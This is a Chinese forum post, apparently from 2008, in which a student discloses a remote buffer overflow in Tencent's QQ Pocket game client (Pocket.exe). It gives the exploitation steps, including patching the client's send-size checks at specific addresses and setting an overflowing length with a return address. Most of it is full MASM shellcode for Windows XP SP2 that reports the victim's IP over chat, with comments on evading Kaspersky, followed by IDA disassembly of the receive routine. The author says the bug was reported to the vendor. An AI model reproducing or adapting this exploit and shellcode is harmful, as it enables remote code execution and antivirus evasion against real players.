============说明==============
1、漏洞是我读大二的时候(三年前)发现的,这篇文章是我读大三的时候写的,本来并没有打算发出来,不过最近打算找工作,所以就翻箱倒柜把它找出来了。
2、漏洞我已经报告过给腾讯,并且我大四找工作的时候也把这个漏洞的情况告诉过腾讯HR。
3、这篇文章是原创,也是首发在看雪这里,如果转载请注明出处。
4、我的简历在这里(http://bbs.pediy.com/showthread.php?t=108821),希望有意招我的公司能联系一下我,我的邮箱是yinXlms#126.com(#换成@),谢谢。
============================
《QQ桌球》的缓冲区溢出漏洞报告
yinX
2008年4月11日
综述
腾讯公司的网络游戏软件《QQ桌球》存在一个远程缓冲区溢出漏洞,可被攻击者利用,使其执行远程代码。
文件版本
文件名:Pocket.exe
版本号:0.10.102.23
发布时间:2005.01.17
漏洞成因
QQ游戏的架构是这样的:各种游戏的主程序文件并不直接与网络打交道,所有网络数据,包括聊天内容和游戏动作,都通过游戏大厅发送和接收。为了适应各种数据,游戏大厅开了一个大小为0x2800的Buf。在发送聊天内容的时候,游戏大厅会把数据的类型和大小(针对QQ桌球这一个游戏,聊天数据的大小总为0x37C)附在聊天数据的前面一同发送到对方的游戏大厅。Pocket.exe用于显示聊天内容的缓冲区大小只有0x37C,并且从Recv的Buf复制数据的时候只按接收到的数据前部指明的大小来拷贝。如果攻击者恶意地把指明的大小从0x37C改成一个更大的数,则会发生缓冲区溢出。
利用方法
只要直接给对方的游戏大厅发送为了经过精心构造的数据即可令对方溢出,为了简单起见,使用Pocket.exe的聊天功能作为攻击工具而不另外编写攻击程序。不过Pocket.exe对发送的聊天内容的大小作了限制,所以攻击前一定要先去除这些限制。
限制的地方有三处:0x40747C限制了发送的内容不能超过0x100字节;0x407487会把聊天内容前0xfa以外的数据截掉;0x407BBE指定了发送的数据的大小,即右上图中的“数据大小”字段。跟踪调试后发现,发送的数据的大小改成0x38C最为合适,其中最后四个字节为一返回地址。
ShellCode例子
下面是一段ShellCode的例子,功能是回显对方的IP。
;代码开始
;本程序只针对Win XP SP2
.386
.model tiny,stdcall
option casemap:none
.code
org 2f376h-1000h ;因为这段ShellCode要放在0x12f376的位置,但Masm编程序默认基址是0x400000
;我在链接选项里加了/base:0x100000,现在org 2f376h就刚好是0x12f376h,
;至于org 2f376h-1000h,那个1000h是PE头的大小
VirtualProtect equ 7c801ad0h
ShellBase equ 7c883320h
;从Pocket.exe里拿过来用的函数
LoadLibrary equ 4170a4ffh
GetModuleHandle equ 417088ffh
GetProcAddress equ 4170a8ffh
SendTalk equ 41f50cffh
;变量相对于GetBase的偏移,其实这样的做法不好,因为复制到Kernel32的时候没有复制这一部分
SendIP equ 0ffh ;Len 20h
OldProtect equ 0bfh ;Len 4
Ws2_32Base equ 0bbh ;Len 4
wVersionRequested equ 0b7h ;Len 2
WSAData equ -380h ;Len ?
nam equ -280h ;Len 256 此处比较特别,它是放在ShellCode后面的
remoteHost equ 0afh ;Len ? 这个是指针,用的时候注意
start:
db 0A9h dup (90h) ;GetBase-0FFh刚好是Dword对齐
CodeBeg:
StaBase db 0EBh,0Ch,90h,5Bh,83h,0EBh,13h,8Bh,0C3h,83h,0C0h,14h,0FFh,0E0h,0E8h,0F0h,0FFh,0FFh,0FFh,90h
; After GetBase, Ebx = GetBase's Address
add esp,-504h ;栈顶减是因为,要保证下面的API使用堆栈时不会把代码覆盖掉
mov eax,ebx
add eax,-OldProtect
push eax
push 40h
xor eax,eax
mov al,83h
shl eax,0ch
push eax
mov ax,7c80h
shl eax,10h
add ah,10h
push eax
mov eax,VirtualProtect
call eax
mov esi,ebx
sub esi,-(offset CodeBeg2- offset StaBase)
mov edi,ShellBase ;把代码复制到代码段,卡巴不会报。不过后来发现一种更好的过卡巴的方法,就是修改PEB里的栈顶和栈底数据。
xor ecx,ecx
mov cx,offset CodeEnd-offset CodeBeg2
rep movsb
sub esp,-504h ;恢复堆栈
mov eax,ShellBase
jmp eax
CodeBeg2:
GetBase db 0EBh,0Ch,90h,5Bh,83h,0EBh,13h,8Bh,0C3h,83h,0C0h,14h,0FFh,0E0h,0E8h,0F0h,0FFh,0FFh,0FFh,90h
mov eax,ebx ;把字符串后面的那个1变成0
sub eax,offset GetBase - offset TextStart
mov edi,eax
mov esi,edi
sub esi,offset TextStart - offset TextEnd
cld
mov al,1
mov cx,0ffffh
LbXor:
repne scas byte ptr [edi]
dec edi
xor byte ptr [edi],1
inc edi
cmp edi,esi
jl LbXor
;********************************************************************
;返回目标的IP,EDX放着Ws2_32的基址
mov eax,ebx
sub eax,offset GetBase - offset Ws2_32
push eax
mov eax,LoadLibrary
shr eax,8h
call dword ptr [eax]
mov edx,ebx
add edx,-Ws2_32Base ;把Ws2_32的地址保存起来
mov [edx],eax
mov eax,ebx ;WSAStartup
sub eax,WSAData
push eax
mov eax,ebx
xor ecx,ecx
mov cx,0cccch
push ecx
mov eax,ebx
sub eax,offset GetBase - offset sWSAStartup
push eax
mov edx,ebx
add edx,-Ws2_32Base
push [edx]
mov eax,GetProcAddress
shr eax,8h
call dword ptr [eax]
call eax
xor eax,eax ;gethostname
mov al,0ffh
push eax
mov eax,ebx
sub eax,nam
push eax
mov eax,ebx
sub eax,offset GetBase - offset sgethostname
push eax
mov edx,ebx
add edx,-Ws2_32Base
push [edx]
mov eax,GetProcAddress
shr eax,8h
call dword ptr [eax]
call eax
mov eax,ebx ;gethostbyname
sub eax,nam
push eax
mov eax,ebx
sub eax,offset GetBase - offset sgethostbyname
push eax
mov edx,ebx
add edx,-Ws2_32Base
push [edx]
mov eax,GetProcAddress
shr eax,8h
call dword ptr [eax]
call eax
mov eax,[eax+0ch]
FindIP:
mov ecx,[eax]
or ecx,ecx
je NotFoundIP
mov ecx,[ecx]
cmp cl,0c0h
je IP192
cmp cl,0a9h
je IP192
jmp FoundIP
IP192:
xor ecx,ecx
mov cl,4
add eax,ecx
jmp FindIP
FoundIP:
mov ecx,[eax]
mov ecx,[ecx]
push ecx ;inet_ntoa
mov eax,ebx
sub eax,offset GetBase - offset sinet_ntoa
push eax
mov edx,ebx
add edx,-Ws2_32Base
push [edx]
mov eax,GetProcAddress
shr eax,8h
call dword ptr [eax]
call eax
NotFoundIP:
mov edx,ebx
add edx,-SendIP
mov esi,eax
lea edi,[edx+0ch]
xor ecx,ecx
mov cl,10h
rep movsb
push 27h
pop esi
mov [edx],esi
xor ecx,ecx
dec ecx
mov [edx+4],ecx
;sub esi,eax
push 10h ;长度
pop eax
mov [edx+8],eax
push edx
xor edx,edx
mov dx,37ch
push edx
mov eax,41f50cffh
shr eax,8
mov edx,dword ptr [eax]
push edx
mov eax,ebx
sub eax,offset GetBase - offset GInterop
push eax
mov eax,GetModuleHandle
shr eax,8h
call dword ptr [eax]
xor edx,edx
mov dh,20h
add eax,edx
call eax
mov eax,ebx ;WSACleanup
sub eax,offset GetBase - offset sWSACleanup
push eax
mov edx,ebx
add edx,-Ws2_32Base
push [edx]
mov eax,GetProcAddress
shr eax,8h
call dword ptr [eax]
call eax
mov eax,73d32047h
jmp eax
TextStart:
GInterop db "GInterop.dll",1
Ws2_32 db "Ws2_32.dll",1
sWSAStartup db "WSAStartup",1
sgethostname db "gethostname",1
sgethostbyname db "gethostbyname",1
sinet_ntoa db "inet_ntoa",1
sWSACleanup db "WSACleanup",1
TextEnd:
CodeEnd:
End start
;代码结束
.text:100045EA loc_100045EA: ; CODE XREF: sub_1000441C+1AEj
.text:100045EA mov edi, 2800h ; 这个是Socket接收的数据长度
.text:100045EF lea eax, [ebp+buf]
.text:100045F5 push edi ; size_t
.text:100045F6 push 0 ; int
.text:100045F8 push eax ; void *
.text:100045F9 call memset
.text:100045FE add esp, 0Ch
.text:10004601 lea eax, [ebp+buf]
.text:10004607 push 0 ; flags
.text:10004609 push edi ; len
.text:1000460A push eax ; buf
.text:1000460B push esi ; s
.text:1000460C call ds:recv
.text:10004612 mov edi, eax
.text:10004614 call ds:WSAGetLastError
.text:1000461A mov ecx, [ebp+var_1C]
.text:1000461D mov [ebp+var_8], eax
.text:10004620 cmp dword ptr [ecx+8], 0
.text:10004624 jz short loc_10004643
.text:10004626 push dword ptr [ebp+in.S_un] ; in
.text:10004629 call ebx ; inet_ntoa
.text:1000462B push eax ; char
.text:1000462C push offset aSocketthread_1 ; "socketthread connect ip %s notify exit!"...
.text:10004631 push esi ; int
.text:10004632 call sub_100047D4
.text:10004637 add esp, 0Ch
.text:1000463A mov [ebp+var_4], 1
.text:10004641 jmp short loc_1000464F
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)